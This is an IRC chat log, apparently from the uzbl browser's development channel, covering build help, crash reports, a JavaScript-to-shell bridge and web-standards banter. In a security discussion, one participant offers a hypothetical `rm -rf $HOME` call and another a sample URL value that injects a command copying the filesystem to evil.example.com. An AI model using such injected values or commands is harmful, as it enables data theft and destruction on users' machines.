17:35 < uranther> I think, if you don't have healthcare, they will still treat you. and there are special places for people like that.. normally it will be very expensive, like impossible to pay
17:36 < uranther> wow
17:36 < barrucadu> I just want to get through university then go live in the middle of nowhere, and find some way to be self-sufficient :p
17:36 < uranther> at least you have more than 2 mainstream parties
17:37 < madnificent> barrucadu: it may sound insane, but it might just be the best way to survive :P
17:37 < Dieterbe> madnificent: what do you do professionally/study?
17:37 < uranther> our country is not meant to have just 2, and we do have more, but they get no media coverage and are therefore pretty much pointless since less that 2% will vote for them combined
17:37 < uranther> than*
17:37 < madnificent> Dieterbe: I study computer sciences (kuleuven)  (thinking of starting to work next year, either that or getting my masters degree)
17:39 < madnificent> uranther: that's what I hated about our last elections.  All the naggers of the right-wing parties got loads and loads attension (mainly because they kept (as always) shouting the most insane ideas around)... and the left-wing party (which actually had some very reasonable things to say) got left out once more... this way our country keeps moving to the right and what was nice about the socialist ideas is all removed... cheap politics
17:39 < uranther> I am just studying mechanical engineering.. lol. nothing related to computers, really
17:39 < madnificent> Dieterbe: where do you work (perhaps I know the company :D)
17:39 < Dieterbe> madnificent: kangaroot (.net)
17:41 < madnificent> Dieterbe: sounds interesting... didn't know it though (funny name)
17:41 < Dieterbe> yeah it is ;)
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00:07 < _bobf> Hello ! So, it looks like uzbl means I can finally ditch Firefox, but ! I'm having some problems with it. Specifically that *everything* I type ends up in the statusbar thingy.
00:07 < _bobf> I can do :uri ... and that works, but if I do :toggle_insert_mode, my keypresses still end up in the statusbar.
00:08 < _bobf> (I built it this morning against the latest git rev I checked out last night).
00:09 < _bobf> And here's a config file I borrowed from someone, which I'm using: http://paste.pocoo.org/show/123746/
00:10 < _bobf> (And I'm running with 'uzbl -c ~/.config/uzbl/config' and it is definitely reading my config file - the status bar shows up in pretty colours, e.g.).
00:11 < DuClare> Does the mode indicator (letter) in your status bar change?
00:12 < uranther> hit "i" baby
00:12 < _bobf> I hit "i" and "i" appears in the status bar.
00:12 < uranther> now try typing in a form
00:13 < _bobf> Yes, no matter what I've tried so far, it all just shows up in the status bar.
00:13 < _bobf> DuClare: I don't see anything to suggest that I know what you're referring to, so, no. :)
00:13 < dxdx> _bobf: with the example config too?
00:13 < _bobf> It's just a "C" in the far left.
00:13 < _bobf> dxdx: I'll try that right now - one sec.
00:14 < uranther> oh, yeah I misunderstood what you said... with the default config, hitting "i" should show a capital "I" in the lower left
00:15 < _bobf> dxdx: Harrumph ! Looks like it's something broken in the config I pasted (though it works for someone else running from latest git) as now when I hit i I see that "I".
00:15 < scj> in vim, try ":set et" then ":retab" on your config file
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00:15 < DuClare> _bobf: Yeah, I think toggle_input_mode is missing from some older version
00:15 < _bobf> scj: Will do.
00:15 < scj> it should be in Dieterbe's master now, unless I am mistaken
00:15 < DuClare> This is why people should look in the exampleconfig shipped with their version <,<
00:16 < _bobf> Hmm, could it be that XDG_DATA_HOME isn't set ? I'm getting a Python KeyError for os.environ.
00:16 < _bobf> DuClare: I know, I'm sorry, I feel like a pain in the ass now.
00:16 < uranther> on my system, it isn't set
00:16 < uranther> i export'd it in my .bashrc
00:16 < uranther> heh
00:16 < DuClare> _bobf: Don't worry.  I don't bite people :]
00:17 < uranther> dumping firefox is good though
00:17 < _bobf> Man, I've waited so long.
00:18 < DuClare> I have an instance of firefox running and it has two tabs only..
00:18 < _bobf> A StumpWM user introduced me to uzbl, so it'll fit right in.
00:18 < uranther> haha, the day tastes sweet with victory
00:18 < DuClare> Only X and gimp eat more ram than firefox
00:18 < dxdx> oh shit, i've left compiling webkit (with debug enabled) some hours ago. now i found it 'finished', and there's a "Out of memory: kill process 26915 (ld)" in dmesg
00:19 < uranther> debug enabled D:
00:19 < uranther> man.. i forgot to enable debugging earlier today when i compiled webkit
00:19 < bct> dxdx, ha so it's not just me after all :(
00:19 < _bobf> dxdx: I just got my new Eee - building webkit was a pain in the ass, took me probably 5 hours to get all the deps built, then left it overnight. :)
00:19 < bct> it's a beast of a compile
00:19  * DuClare runs Gentoo .. 
00:20 < scj> I kinda want to try out stumpwm. I've been meaning to learn lisp but I just can't bring myself to use emacs
00:20 < uranther> each cc takes like 10 lines in my terminal :|
00:20 < Deepspawn> DuClare on a eeepc?
00:20 < DuClare> Nop
00:20 < bct> DuClare, me too.
00:20 < dxdx> it said it was slow, and probably that means it was xbox hueg
00:20 < dxdx> proof that c++ sucks
00:20 < _bobf> I sold out to ubuntu a couple of months ago when I got a computer and needed to guarantee my wireless would work that very night.
00:20 < _bobf> Been promising myself I'll go back to sid ....
00:20 < uranther> word.
00:20 < bct> but installing webkit-gtk with USE=debug eats all of my 2GB of ram and swap
00:21 < DuClare> scj: I forced myself to learn to do things with emacs when I started playing with lisp..
00:21 < DuClare> scj: Now?  I'm on IRC with emacs..
00:21 < uranther> christ
00:21 < uranther> i may be doomed to compile it in my VM
00:21 < _bobf> scj: Well, watch the screencast. I made the soundtrack. :)
00:22 < DuClare> scj: Basically, after years of use I dumped vim and irssi and other stuff .. ^^;
00:22 < scj> _bobf: really? the old old screencast with the guy with the clackity keyboard?
00:22 < uranther> that's pretty epic switch from vim to emacs
00:23 < _bobf> scj: The guy with the weird deep voice ? Yup. I did the music
00:23 < scj> cool, I remember thinking that the music was kinda cool
00:23 < _bobf> So, aside from claiming to all newcomers in #stumpwm that I wrote it, that's about my only contribution. :)
00:24 < _bobf> scj: Cool, glad you liked it. Sorry, I know I just got here, but here's some spam: http://noiseforfree.com/music/piano/ (in case you're interested)
00:24 < scj> DuClare: I just can't bring myself to switch, vim is muscle memory
00:26 < DuClare> So it was for me :)
00:27 < DuClare> I still use it on the command line a lot..
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00:28 < scj> someone did make a patch for embedding ECL in vim, though
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00:29 < dxdx> bct: wait, do you have a libwebkit-1.0.so successfully compiled with debug? which architecture?
00:29 < _bobf> Only thing that drives me nuts about vim is tracking through my groups and screen sessions to find that damned file I already opened.
00:30 < dxdx> the most i have is 1gb ram/2gb swap in desktop, and i'm not feeling lucky
00:30 < _bobf> But, uzbl reminds me of my first experiences with vim - five minutes in, I know two keybinds, and I already feel like I'm using the best browser I've ever come across.
00:31  * _bobf writes a Dear John to firefox.
00:32 < bct> dxdx: no. i could probably compile it on my server though
00:32 < bct> it would be amd64
00:32 < bct> or x86_64 or whatever they're calling it these days
00:32 < bct> if that help i'd be happy to send it your way.
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00:33 < dxdx> bct: desktop is x86_64, so let's try :D
00:34 < bct> ok. i'm going to skip out of work early, i'll let you know when i've got something for you
00:36 < dxdx> thanks a lot
00:36 < _bobf> Gargh, why did freshmeat have to change their website.
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02:51 < seppo0010> hello people
02:51 < seppo0010> I'm having a crash
02:52 < seppo0010> using fl+number
02:52 < seppo0010> in a specific page
02:52 < seppo0010> I've runned gdb and have the backtrace
02:52 < seppo0010> should I fill in a bug?
02:52 < uranther> sure - and tell scj
02:53 < scj> huh?
02:53 < seppo0010> hi scj
02:53 < dxdx> you should, but you can also post a link to a pastebin here
02:54 < scj> are you using follow_Numbers*.js or linkfollow.js?
02:55 < seppo0010> http://pastebin.com/d4fafdee4
02:55 < seppo0010> follow_Numbers
02:56 < seppo0010> can you see the bt, scj?
02:57 < scj> yeah, although I'm not not really good at reading them
02:59 < seppo0010> I was able to reproduce it 3/3 times in a specific web
02:59 < seppo0010> do u want the url to test?
02:59 < scj> what site?
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02:59 < seppo0010> scj: http://www.patriciodemoreno.com.ar/2008/12/mi-experiencia-con-ubuntu.html
02:59 < seppo0010> scroll down a bit
03:00 < seppo0010> fl show the numbers
03:00 < seppo0010> when I press "0" it crashes
03:01 < scj> it crashes when I try starting webinspector
03:01 < scj> don't think it's the js scripts fault
03:01 < scj> :3
03:02 < dxdx> seppo0010: HOLY SHIT YOUR WEBKIT IS DEBUG ENABLED
03:02 < dxdx> seppo0010: GIVE ME THAT BINARY NAO ("braaaaains")
03:02 < seppo0010> ??
03:03 < dxdx> i'd like to have your /usr/lib/libwebkit-1.0.so.2, please
03:03 < seppo0010> r u sure? I installed it using pacman
03:03 < seppo0010> and never changed it...
03:04 < scj> have you tried it with any other webkit browser?
03:04 < dxdx> weird, which version and arch?
03:04 < seppo0010> 1.1.9-1
03:05 < seppo0010> any other webkit browser I can use, scj?
03:05 < scj> midori?
03:05 < dxdx> oh, i'm stupid
03:05 < seppo0010> ¿?
03:06 < dxdx> @bct, too: webkit debugging is not the same as debug symbols (which is good, but my backtrace still sucks)
03:07 < seppo0010> scj: well, I'm with midori, but I'm not sure how to trigger the crash, since "fl0" did it with uzbl
03:07 < seppo0010> wow...
03:07 < scj> does midori support webinspector?
03:07 < seppo0010> it actually crashed :PP
03:11 < seppo0010> http://pastebin.com/d662ca7a1
03:11 < seppo0010> that happened with midori
03:13 < seppo0010> webkit bug?
03:14 < scj> sure looks like it
03:15 < seppo0010> ok, great
03:16 < scj> also; you should be using linkfollow.js, it's better :>
03:16 < scj> not in this particular case, though
03:16 < seppo0010> ok
03:16 < seppo0010> stupid question...
03:16 < seppo0010> how can I update my copy?
03:17 < scj> copy of?
03:17 < seppo0010> sorry
03:17 < seppo0010> my git clone
03:17 < seppo0010> just "svn up" in git :P
03:18 < dxdx> as expected #webkit hates me
03:19 < scj> git remote add dieterbe git://github.com/dieterbe/uzbl.git && git merge HEAD dieterbe/experimental
03:19 < scj> i think
03:20 < dxdx> their compile scripts hate me too, the errors are getting weirder on every configure option i change (even arch default ones don't work anymore)
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03:37 < Tel_Janin> command "act" not understood, ignoring.
03:37 < Tel_Janin> when I try to load fro bookmarks after my latest update of uzbl
03:42 < scj> "act" is no longer needed
03:42 < Tel_Janin> ok
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08:49 < dxdx> ha! i finally fixed that segfault, without any additional debug, take that fscking #webkit!
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09:10 < Dieterbe> morning ladies
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11:16 < rob|_> morning.
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11:17 < Dieterbe> hey rob| 
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17:24 < barrucadu> hi
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17:26 < bct> good $part_of_day, barrucadu
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17:28 < Dieterbe> :)
17:28 < Dieterbe> dito
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17:33 < uranther> yo
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17:44 < uranther> i hate bureaucrats :(
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17:52 < bct> i hate word processors :(
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17:56 < uranther> word. I use LaTeX now for all my documents
17:56 < uranther> makes a spiffy resume :)
17:59 < bct> i use LaTeX for all of my documents but unfortunately that doesn't fly at work
17:59 < uranther> oo true
18:00 < bct> my boss likes to be able to stick fancy colored notes in the margins
18:00 < uranther> you can do that with PDFs
18:00 < uranther> :/
18:00 < bct> and that means i have to suffer with a tool that doesn't do what i tell it to.
18:01 < uranther> you should inform him of the merits of using PDFs with comments
18:03 < bct> i doubt i'd win that battle.
18:03 < uranther> it's true
18:03 < locks> I'm with you, you won't
18:04 < locks> people stuck in their ways are like that for a reason
18:04 < bct> this place is dysfunctional, we're building software for an embedded linux system
18:04 < bct> but we're all using windows desktops
18:04 < uranther> :/
18:05 < locks> hey, it's the test machine that matters
18:06 < uranther> sounds like a typical office environment
18:06 < uranther> do you all dick around for 6 of the 8 hours you're working?
18:07 < bct> i worked hard-ish for the first month or so.
18:07 < locks> http://gadgets.boingboing.net/2009/06/18/emacs-on-a-g1.html oh my god.
18:07 < bct> but as for now, well. i'm on irc.
18:09 < uranther> i multitask.. got my laptop for funsies and work computer for work
18:09 < locks> multitasking is a myth
18:11  * bct especially likes OpenOffice's half-assed version control
18:12 < bct> the whole thing is inside out, there are already tools that are much better at version control than a word processor could ever be :(
18:12 < locks> I grew into OOo
18:12 < locks> then I quickly grew out of OOo
18:12 < locks> it's like Sun is waterboarding OOo
18:12 < locks> but it just refuses to fess up
18:12 < barrucadu> Using antiword to read things, and LaTeX to write them, I've managed to completely remove my need to use OOo
18:13 < locks> I do now know antiword
18:13 < locks> LaTeX has a too steep learning curve
18:13 < locks> unfortunately
18:14 < madnificent> locks: not really
18:14  * Dieterbe off to home
18:14 < madnificent> locks: the basics is just a template that you use.  If you want to do more fancy stuff, then yes, you'd need to know more
18:14 < uranther> never heard of antiword..
18:14 < bct> antiword converts .doc to plain text
18:14 < bct> very handy.
18:15 < locks> do you guys do latex by hand or with some sort of editor?
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18:15 < bct> i just use vim
18:15 < locks> ah, vim =}
18:15 < bct> never really looked at LyX or kyle or others
18:15 < bct> if you can write HTML, you can write LaTeX.
18:16 < locks> I guess
18:18 < madnificent> emacs (that is by hand, I guess)
18:18 < scj> isn't latex turing complete?
18:18  * locks kills madnificent quickly
18:18 < madnificent> scj: tex could be turing complete, yes
18:18 < locks> http://gadgets.boingboing.net/2009/06/18/emacs-on-a-g1.html
18:19  * madnificent is an undead creature
18:19  * madnificent attacks locks with a 5/10 strong lightning strike
18:20  * locks rolls a 16D
18:20  * locks evades
18:20 < locks> I have no idea how to play d&d, damn
18:20  * madnificent laughs at the link locks posted
18:20 < bct> 16D1?
18:20 < madnificent> no! I must study! I'm *not* going to play a game
18:20 < bct> mobius dice
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18:22 < locks> kyle (mentioned above) seems to be ungoogable
18:23 < locks> hm, mobius dice.
18:24 < scj> locks: perhaps he meant http://kile.sf.net ?
18:24 < bct> yes, oops.
18:24 < locks> ah ic
18:28 < scj> Dieterbe: are you gonna merge in dxdx's stuff?
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18:40 < scj> hello
18:43 < locks> g'day
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19:05 < Dieterbe> scj: if i like it, yes
19:05 < Dieterbe> scj: will i like it? probably. maybe
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19:09 < scj> Dieterbe: hopefully you do. Uzbl.run is very handy
19:09 < Zaba> Uzbl.run?
19:10 < scj> allows you to do "js Uzbl.run('spawn foo.sh')" from js
19:10 < Zaba> aha... heh.
19:10 < Dieterbe> oh that's pretty cool
19:10 < Zaba> how many lines of code does it take to implement that, incidentally? :>
19:11 < Zaba> and can scripts running on sites do that?
19:11 < scj> Zaba: no
19:11 < scj> it's only available to scripts run with js and script
19:11 < Zaba> aha.
19:12 < scj> I think dxdx said something like 200+ lines, but that was with the reimplementation of xmlhttprequest
19:12 < Dieterbe> would be nice otherwise, if any website could call Uzbl.run('rm -rf $HOME') :P
19:12 < Dieterbe> +spawn
19:12 < Zaba> indeed.
19:14 < madnificent> scj: sexy, I'll need that.  Can you get the output of the script too?
19:14 < scj> yeah
19:14 < madnificent> is there a way to export a js function (say one that calls a particular script) so that a site can call that?
19:15 < Zaba> I'd kinda hate that
19:15 < madnificent> Zaba: I'd need it for application development (reading from a scanner and from a scale)
19:15 < Zaba> why not use something but javascript+a browser for that, then?
19:15 < madnificent> Zaba: ?
19:16 < bct> iirc dxdx is preventing the function from being called by sites by adding some random string to the function name
19:16 < Zaba> security by obscurity, badbadbad
19:16 < scj> madnificent: wouldn't it be possible to host a script somewhere and then just add it as a <script> element to the dom?
19:16 < bct> so if you didn't mangle the name a site would be able to call it
19:16 < bct> (i could be wrong though0
19:16 < bct> Zaba, meh. if that's SBO then so is anything that depends on a randomized key for secrecy.
19:17 < Zaba> bct, it is.
19:17 < bct> i don't see how it's different from a password
19:17 < madnificent> scj: no, I would need to allow for the execution of a bash-script through javascript code.  So I actually need some way to say "I trust this, this is safe"
19:18 < bct> if you've got enough bits of randomness then there's no problem.
19:18 < Zaba> that is not something you should, or can, rely upon.
19:18 < scj> unless I am reading it wrong, dxdx creates the Uzbl object temporarily when it is evaluated
19:19 < bct> everything in cryptography relies on the obscurity of randomly generated values.
19:19 < Zaba> we're not doing cryptography here
19:20 < bct> security by obscurity usually means it depends on the secrecy of the method
19:20 < bct> not the secrecy of the values used.
19:20 < bct> big difference.
19:20 < madnificent> there is indeed nothing wrong with that adding of a random string (iff the string is long enough).  In order to never have problems, it should probably be longer than some minimum size (in order for it to never possibly overlap with a 'public' function name)
19:20 < madnificent> having a namespace would be cooler though
19:21 < bct> but like i say, i could be wrong. if the Uzbl object is only created temporarily like scj says then there's no problem
19:21 < Zaba> indeed, then there is no problem
19:21 < madnificent> but ahm, is there a way to allow a certain bash script to be called from within the JS code of a site?  Exporting some function (it is possible in Firefox, but I have no idea how they relate)
19:21 < bct> i haven't actually looked at the code, i just seem to recall it being discussed a few days ago
19:22 < Zaba> madnificent, perhaps you're better off making a browser plugin or something
19:22 < scj> the object is created once temporarily added to the context in the eval_js function
19:22 < madnificent> Zaba: it would be a browser plugin, yes :)
19:22 < scj> once and temporarily
19:22 < madnificent> Zaba: but I'd like to know if it can be done in uzbl, as it has less overhead than firefox
19:22 < Zaba> madnificent, webkit uses same plugin interface as firefox
19:23 < madnificent> Zaba: thanks! that's a double win then... I can develop it on either system and migrate if trouble would arise :D (w00t! springs to mind)
19:23 < Zaba> I dunno, but well, for instance, flash player works
19:23 < Zaba> and it's a binary blob
19:23 < Zaba> so it's compatible enough
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19:25 < madnificent> Zaba: oh wait, I wouldn't be making an addon, I'd be making a plugin... that might be a totally different beast
19:25 < Zaba> madnificent, flashplayer is a plugin
19:26 < madnificent> Zaba: yes, but I was thiking about firefox addons instead of plugins... they are different.  I don't know how addons are built
19:26 < madnificent> * I don't know how plugins are built
19:26 < Zaba> ah
19:26 < madnificent> I'll figure out some day
19:26 < Zaba> well, the addon interface doesn't work with webkit
19:26 < uranther> madnificent, look up the netscape plugin API
19:27 < Zaba> I just was suggesting you to create a plugin for the things you want to do instead of relying on some functionality in javascript that would be totally out of place
19:27 < madnificent> uranther: thanks
19:28 < uranther> :)
19:28 < madnificent> Zaba: it wouldn't be functionality in javascript, it would be the exporting of methods... the same as you have Console.log because of firebug for instance
19:28 < Zaba> err.
19:28 < Zaba> isn't console sorta builtin in firefox?
19:28 < madnificent> if I can ensure that the functions that are callable are secure (besides the fact that the browser will only be used in a constrained environment) it would be secore and ok
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19:29 < madnificent> <insert other random feature of firebug> in that case
19:29 < Zaba> cause I somehow think it is
19:29 < Zaba> I don't remember pages interfacing with firebug, ever.  Just the other way around.
19:29 < hybris246> hi. the load_url_from_history script isn't working for me. I can select urls from dmenu but when I press enter they don't get loaded.
19:30 < hybris246> I'm using the experimental branch
19:30 < scj> run it with uzbl --verbose
19:30 < scj> see what it says
19:30 < madnificent> Zaba: in any case it doesn't even matter.  You had a problem with something that should not be there, if it is an application platform, then it is allowed to be there
19:30 < Zaba> madnificent, application platrom?
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19:30 < madnificent> Zaba: it is *not* some way to allow websites to fetch all input :)
19:31 < hybris246> load_url_from_history.sh: line 20: 1: ambiguous redirect
19:31 < madnificent> Zaba: yes, I'm using html + js as a frontend for applications :)
19:31 < Zaba> The web's just a newspaper, dude.  A newspaper.  Grey on black, cause we have virtually unlimited ink, but a newspaper.  If you use it for something else, you're heading into a dead-end so good luck.  :>
19:32 < scj> it's sorta morphed into moar than that over the years
19:32 < madnificent> Zaba: there is no problem with it (and I'm not the first to do it either).  In fact, it is probably the only solution that makes sense for new
19:32 < madnificent> s/new/now/
19:32 < Zaba> scj, so did operating systems, morphing from a console into bloated graphical interfaces.  Yet the console interface is what is designed the best.
19:34 < madnificent> Zaba: arguable... to say the least ;)
19:36 < madnificent> Zaba: in any case: say you need to support windows/linux/mac and can virtually assume you'll have to support things like the iphone (and friends) in the near future.  With all the different systems at the front-end, it would make sense to ensure that whatever needs to be done to input the data, is on the terminal (terminal being the windows/linux/mac/iphone/palm-pre client).  It is the cleanest possible separation.  The server can
19:36 < madnificent> handle all the requests, resulting in a flexible terminal solution.
19:36 < scj> actually, using html as a gui makes sense since it's just text
19:36 < madnificent> Zaba: in essence, html was designed fairly well from the start.  All the new bloat partially ruined it (I agree with that) but the way it has gone makes it a rather good candidate
19:37 < madnificent> scj: it fits with the unix idea :) send everything as text (sadly, there needs to be a UI and scripts too)
19:37 < Zaba> html5 is bloat :>
19:37 < uranther> na
19:37 < uranther> i'm excited at the possibility of html5 replacing technologies like flash
19:38 < Zaba> and html >2 and not xhtml is untasty tag soup
19:38 < Zaba> I wonder why the dumped sgml just to return to it later in xhtml
19:38 < uranther> XHTML is based on XML
19:38 < Zaba> I know
19:38 < Zaba> and xml is a subset of sgml
19:38 < uranther> oh i see
19:38 < bct> they didn't really dump sgml
19:38 < uranther> what's so bad about that?
19:38 < bct> it's just that no user agents implemented it as real sgml.
19:39 < uranther> HTML 4.01 strict is a good DTD
19:39 < uranther> and if you ever go into #html, they are pretty vehement about it :P
19:39 < Zaba> after html2 it officially wasn't sgml
19:39 < bct> HTML 4 is an SGML application conforming to International Standard ISO 8879 -- Standard Generalized Markup Language [ISO8879].
19:44 < Zaba> The design of HTML was originally inspired by SGML tagging, but since no clear guidelines for expansion were offered, many HTML documents are not proper SGML.
19:44 < Zaba> it's parsed as tagsoup everywhere
19:45 < bct> that's what i said earlier :)
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19:55 < jaj> hi
19:56 < scj> hello
19:56 < uranther> servers here at work keep crashing
19:56 < uranther> so i can't do any work :/
19:57 < jaj> uranther: you don't really need html5 to replace flash, you can just embed videos using the <object> tag
19:57 < scj> just tried setTimeout(function () { Uzbl.run('js alert("uhoh")') }, 0); and it didn't work \o/
19:57 < uranther> D:
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19:57 < uranther> you talking about video playing plugins like WMP?
19:57 < jaj> yes
19:58 < uranther> that's awful
19:58 < uranther> honestly, they work about half the time and they are platform dependent
19:58 < jaj> why? they are actually designed to do streaming as opposed to flash
19:58 < uranther> there's a reason why youtube uses flash
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19:58 < uranther> flash has recently been modified to do such things
19:58 < uranther> however, when youtube started they hacked that shit together :P
19:58 < jaj> yes but flash is really awful
19:59 < uranther> thus the excitement about html5
19:59 < scj> open standards > not open standards
20:00 < uranther> although from what i've read recently, youtube is choosing H.264 over Ogg Vorbis :/
20:00 < uranther> youtube is the new porn industry
20:00 < jaj> dailymotion uses ogg/theora/vorbis
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20:03 < jaj> but in with html5 the browser won't do the decoding itself, it will use a video widget. it's basically the same as video plugins
20:03 < scj> last figure I've seen was that youtube is 10% of all traffic on the net
20:03 < Zaba> it was good when they hijacked youtube's routing, huh
20:03 < Zaba> too bad they done it just to show it's possible...
20:04 < bct> jaj, as far as i know the big difference is that <video> is controllable by js
20:04 < Zaba> flash can interact with js iirc
20:04 < bct> haven't really been paying attention to html5 though, it's such a mess
20:05 < Zaba> it seems to include too much.  Why not just use/extend <object>?
20:05 < Zaba> for videos, that is
20:05 < uranther> i think object is used for redundant data
20:06 < uranther> http://www.bluishcoder.co.nz/2009/02/fallback-options-for-html5-video.html
20:06 < bct> i'm inclined to agree Zaba. similarly there was never a good reason to have a separate <img> element
20:06 < Zaba> I like xhtml 2 for 2 things: <section> and <h>, and href on any element
20:07 < bct> object is much more powerful since it can contain other elements as alternate content
20:07 < jaj> you can also control the object tag with js
20:07 < jaj> you can send it start/stop commands and so on
20:07 < uranther> i'm sure img was a bit of a hack at the time :P
20:07 < uranther> legacy extensions++
20:07 < Zaba> img.. well, yeah.
20:08 < Zaba> I'd so like to be able to use images in more cases in CSS
20:08 < Zaba> like, in borders
20:08 < bct> that's in CSS3
20:08 < bct> so give it about 30 years :(
20:08 < hybris246> how is the session script meant to work? What exactly does it do? I have bound session.sh launch and session.sh endsession in my config file.
20:08 < Zaba> and multiple backgrounds are also in css3
20:08 < Zaba> webkit supports them!
20:09 < jaj> you are using linux specific cp and install flags in the uzbl Makefile ;)
20:09 < bct> hybris246: session.sh endsession saves the URLs of all the uzbl instances you have open
20:09 < bct> session.sh launch opens that file and opens an instance for every URL it finds there
20:09 < Zaba> jaj, did you mean GNU specific?
20:10 < jaj> Zaba: yes probably
20:10 < jaj> I'm currently building it on openbsd
20:10 < uranther> oh yeah, you talking about cp -ax
20:11 < Zaba> yeah, that'd be gnu-specific
20:11 < Zaba> and install(1) is not in any kind of standard
20:11 < jaj> also it doesn't compile with #define _POSIX_SOURCE here but that's an issue in libsoup
20:11 < Zaba> that's kinda hopeless :p
20:11 < jaj> it uses u_int which isn't POSIX
20:11 < Zaba> perhaps it should typedef it somewhere
20:11 < uranther> yeah that's kind of annoying how they are different.. ls -G and ls --color=auto
20:11 < uranther> ugh
20:11 < Zaba> jaj, tell libsoup guys about that
20:11 < jaj> Zaba: ok
20:13 < jaj> oh wait I was wrong. It's not really a libsoup problem. libsoup includes tcp.h which has a u_int in it
20:13 < Zaba> aha
20:15 < Zaba> sleeping
20:23 < uranther> grr i hate when an article is only in video form
20:23 < uranther> i can read a lot faster than anyone can talk.. i'm not gonna watch a 30 min video
20:24 < bct> agreed
20:24 < bct> random access is easier in text too.
20:25 < uranther> indeed
20:27 < uranther> almost as annoying as 8pg articles
20:27 < uranther> i'd much rather it be on one long page so i can skip to the relevant parts
20:27 < uranther> kind of like how i generally skip all introductory paragraphs :P
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20:47 < hybris246> I can't get the session script to work. I do touch session file but the script renames the file to session~ and complains it doesn't exist
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21:50 < Deepspawn> http://www.uzbl.org/wiki/new_window_from_javascript
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21:53 < Dieterbe> Deepspawn: use case?
21:55 < Deepspawn> LinksFollow in a new window at least
21:57 < Deepspawn> and if I can replace the window.open funcion of javascript I could get that working, but haven't checked
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21:58 < Dieterbe> oh, of course
21:59 < hybris246> is there any way to select text from a webpage and copy to clipboard without a mouse? I know I can do it for urls
22:07 < scj> with dxdx's Uzbl.run, I was able to open links in new windows
22:08 < scj> bind F_ = js hints.follow("%s",function (s) { Uzbl.run("spawn uzbl -u " + s.href)});
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22:15 < Dieterbe> that seems much cleaner than deepspawns approach
22:16 < Saizan> so webkit offers a complete C interface? i thought it was a c++ lib
22:17 < scj> unfortunately, no
22:17 < Saizan> only some of the functionality is available from C?
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22:37 < MichaelRaskin> Is Uzbl.run properly restricted?
22:38 < MichaelRaskin> Looks like a good target of escaping exploits and just direct abuse
22:39 < scj> it's only available in scripts ran with js or spawn
22:39 < scj> s/spawn/script/
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22:41 < MichaelRaskin> And is there a version which looks like, ahem, a smaller escaping nightmare than demonstrated use of spawn?
22:41 < Dieterbe> i'm going to sleep. see you guys later
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22:46 < rob|> MichaelRaskin: expansions similar to the ones the shell does are currently in work, well actually it's quite usable right now
22:47 < rob|> just need to be integrated with actions
22:47 < MichaelRaskin> " spawn uzbl -s " + s.href
22:47 < MichaelRaskin> seems to have a big disaster potential
22:48 < MichaelRaskin> like, s.href being ' www.com ; scp -r / evil.example.com; '
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22:48 < rob|> spawn uzbl -s @<s.href>@
22:48 < rob|> will be the way to go..
22:49 < MichaelRaskin> will be as in as soon as I dive into uzbl or as soon as it is implemented?
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22:50 < rob|> well, as i said it is implemeted, though the actions don't make use of it yet
22:50 < MichaelRaskin> Great
22:50 < MichaelRaskin> Thanks
22:50 < rob|> only set and print do use it right now
22:50 < MichaelRaskin> Maybe I should package uzl for my distribution of choice already.
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23:15 < rob|> set status_message = document contains @<document.links.length>@ links
23:15 < rob|> err
23:34 < rob|> pushed, allow @<...>@ inside of @(...)@ and vice versa
23:35 < rob|> you can do things like this:
23:35 < rob|> set status_message = @(sh -c 'A="@<document.links.length>@"; if [ $A -gt 0 ]; then echo -n "Links: $A"; else echo -n "No links"; fi')@
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23:57 < jdizzle> anyone home?
23:57 < rob|> nope
23:57 < jdizzle> :)
23:57 < jdizzle> anyone built on ubuntu?
23:58 < jdizzle> i installed the libwebkit-dev package but I get lots of compile errors :(
23:59 < rob|> might be too old
23:59 < scj> there's a blog post linked in the wiki
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00:01 < jdizzle> cool I found it, thanks
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02:40 < Juan25g> Hola?
02:40 < Juan25g> Donde estoy?
02:40 < Juan25g> Alguien d argentina!
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06:25 < rob|> morning.
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06:53 < sonkei> hmm any able to help with probably easy question.
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07:10 < Deepspawn> ask away, dont ask if you can ask -_-
07:16 < sonkei> lol so i have my scripts in XDG_DATA_HOME and i can launch uzbl fines from a term window.. but when i use  a launcher like dmenu, it will not load scripts.. (sry probably dumb question)
07:22 < Deepspawn> It looks like an env problem XDG variables are set for uzbl when you launch it from your launchers?
07:22 < Deepspawn> Sorry I can't help you more but I have to sleep
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07:24 < sonkei> np
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07:47 < rob|> extracting all links from a displayed website:
07:47 < rob|> SOCKET=/tmp/uzbl_socket_main; for i in $(seq 0 $(uzblctrl -s $SOCKET -c 'print @<document.links.length>@')); do uzblctrl -s $SOCKET -c "print @<document.links[$i]>@"; done
07:48 < rob|> this is more or less full control of the dom from any language :)
07:50 < scj> sweet
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09:51 < Frots> good morning everyone
09:52 < negher> Morning.
09:52 < Frots> :)
10:00 < Dieterbe> morning ladies
10:01 < Frots> morning Dieterbe
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10:47 < Dieterbe> hey holizz 
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10:53 < Dieterbe>  MichaelRaskin> Maybe I should package uzl for my distribution of choice already. <-- which is?
10:53 < MichaelRaskin> NixOS
10:54 < MichaelRaskin> And I already have done that
10:54 < Dieterbe> cool
10:54 < Dieterbe> there is a section on the wiki about packages for other os'es
10:55 < MichaelRaskin> You won't believe - I am just registering right now
10:56 < MichaelRaskin> Actually, Nix package manager can be run on top on almost any distribution without interferring
10:56 < MichaelRaskin> You pat with having 2+ glibc..
10:56 < Dieterbe> yeah i tried out nixos once
10:56 < MichaelRaskin> pay
10:59 < MichaelRaskin> Hm, how long should registration confirmation email go?
10:59 < Dieterbe> usually the mails are quite fast.  if you didn't get it after a minute, something is wrong
11:04 < MichaelRaskin> It probably is
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12:11 < MichaelRaskin> I cannot check that I didn't make a mistake with email, but it seems unlikely that I did (I copy-pasted, and I requested resending password a few times, and I got no emails..
12:11 < MichaelRaskin> Strange
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12:19 < rob|> what user name did you chose?
12:20 < rob|> oh, michaelraskin - see it
12:20 < Dieterbe> morning rob| 
12:20 < MichaelRaskin> Good morning, rob|
12:20 < rob|> morning
12:21 < MichaelRaskin> Yes, I chose MichaelRaskin login
12:21 < rob|> strange, i can try giving you a new pw and sending another notification mail
12:21 < Dieterbe> i don't trust our hosting provider 100%. i have the feeling their platform is not always stable
12:22 < rob|> MichaelRaskin: just /msg me with your desired pw
12:22 < MichaelRaskin> Maybe Rambler.ru freemail is buggy
12:22 < Dieterbe> that could also be the case ;)
12:24 < MichaelRaskin> For vger.kernel.org mailing list subscription it turned out to be better than mail.ru
12:44 < rob|> DuClare: do you want to take care of expansion within actions, or shall i give it a shot?
12:45 < rob|> iirc we agreed on a expand action and leave the current system untouched, right?
12:45 < rob|> *an
12:45 < rob|> also with @(command)@ the whole uname stuff is obsolete, you can aswell do @(uname -options)@
